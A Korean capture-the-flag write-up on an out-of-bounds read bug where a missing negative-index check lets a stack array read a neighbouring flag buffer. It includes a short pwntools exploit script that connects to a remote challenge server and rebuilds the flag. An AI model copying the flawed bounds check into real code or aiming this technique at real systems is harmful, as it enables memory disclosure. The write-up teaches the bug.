문제 개요
이 문제는 배열 인덱싱에서 음수 인덱스를 허용하는 취약점을 이용하여 /flag
파일의 내용을 읽을 수 있는 Out-of-Bounds Read 문제입니다.
프로그램 분석
int idx;
char flag_buf[0x100];
char buf[0x100];
...
scanf("%d", &idx);
if (idx >= 0x100) {
puts("[!] idx < 0, out of bound.");
continue;
}
printf("buf[%d] : %c\n", idx, buf[idx]);
idx >= 0x100
만 검사하고idx < 0
에 대한 검사는 없습니다.- 그 결과
buf[-1]
,buf[-2]
, ... 과 같이 음수 인덱스로 접근 가능해집니다. flag_buf
는buf
보다 스택 상단에 위치하므로, 음수 인덱스를 이용해flag_buf
에 접근할 수 있습니다.
메모리 구조
[ flag_buf (256 bytes) ] ← 플래그 저장됨
[ buf (256 bytes) ] ← 사용자 접근 가능
[ idx (int) ]
buf[-1]
→flag_buf[255]
buf[-2]
→flag_buf[254]
- ...
buf[-256]
→flag_buf[0]
플래그 유출 전략
idx >
입력 시-1
부터-256
까지 순차적으로 넣기- 출력된
buf[idx]
값을 이어붙이면 플래그를 복원 가능
익스플로잇 코드
from pwn import *
io = remote("3.111.45.95", 20004)
flag = b""
for i in range(-256, 100, 1):
io.sendlineafter(b"idx > ", str(i).encode())
io.recvuntil(b": ")
flag += io.recvline().strip()
io.success(flag)
io.interactive()
-256
부터99
까지 요청을 보내면서 출력되는 문자를 이어붙여 플래그를 추출합니다.
결론
- 이 문제는 단순한 인덱스 검증 실수로 인해 발생하는 OOB Read 취약점을 활용합니다.
- 실습을 통해 스택 기반 배열 접근, 메모리 인덱싱 구조, 플래그 추출 과정을 깊이 있게 이해할 수 있습니다.